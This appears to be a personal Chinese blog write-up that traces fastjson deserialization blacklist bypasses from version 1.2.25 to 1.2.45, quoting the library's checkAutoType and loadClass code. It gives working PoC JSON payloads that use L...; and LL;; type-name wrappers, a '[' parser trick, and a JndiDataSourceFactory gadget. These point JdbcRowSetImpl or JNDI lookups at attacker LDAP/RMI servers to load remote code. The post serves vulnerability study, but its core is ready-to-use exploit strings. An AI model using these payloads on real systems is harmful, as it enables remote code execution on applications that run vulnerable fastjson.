1.2.25 - 1.2.41版本绕过
首先我们用以前的脚本打一下:
发现报错autoType不允许后面的类加载,
查看代码
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {//到了这个版本,autoTypeSupport 默认false
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
在绕过的时候必须手动开启AutoType功能,还需要将payload中json数据的type指定的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类进行了改造,在TemplatesImpl类的前面加了一个L,然后在TemplatesImpl类的后面再加一个;分号
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
因为在loadclass中队L和;进行了删除,然后再loadclass,感觉这个看一下就行,毕竟应该不会这么巧。
1.2.42
就是在checkAutoType中,增加了哈希黑名单进行了过滤,并且如果满足黑名单就会截取前后个一个字符,
那么我们就可以直接添加两个LL;;来绕过就可以了,并且TypeUtils.class-->中的loadclass是一个递归调用,写几层都可以
复现过程:
发现导致这里进不去调用loadclass
深挖了一下,大概的逻辑就是 h3会返回是否是黑名单,如果是则是负数,然后执行,通过里面binarySearch运算时-1 ,所以多加几层然后返回+1就可以绕过了,太累了,不想调试了!
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//记得开,因为默认为false,不然第一个都进不去
String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/calc\", \"autoCommit\":true}";
JSON.parseObject(PoC);
1.2.43版本绕过
checkAutoType函数首先判断了className中的类是否以字符“L”开头,以字符“;”结尾,如果满足条件,继续判断是否以字符“LL”开头,如果满足条件则抛出异常,也就是说1.2.42版本的payload会被过滤掉。
那么我们的突破口来到了,
我们能不能用[开头然后满足,调用loadclass这个,但是没成功需要调试,qwq太晚了,只能明天搞。
开搞开搞,
进来了所以我们现在只要让token不等于16就可以了,所以现在我们知道如何控制this.ch就可以了,但是他会执行token!=14就会抛出异常,所以我们要让token=14,因为我们取完类名,现在当前的jason数据是逗号,所以满足条件将token设置为16。当我们在逗号前面加一个[,该值不满足case16里面所有条件,但是满住337行if条件,所以执行nextToken()方法,参数为空。
查看代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/calc\", \"autoCommit\":true}";
JSON.parseObject(PoC);
给出参考链接,看吐了给我,https://blog.csdn.net/dreamthe/article/details/125851153
<=1.2.45fastjson反序列化注入
String str4="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xx.xxx.xxx.xx:9999/Exp\"}}";
用了setproperties-->中的lookup rmi中lookup可控可以触发漏洞
标签:fastjson,return,expectClass,clazz,className,typeName,null From: https://www.cnblogs.com/JYcxk/p/17196223.html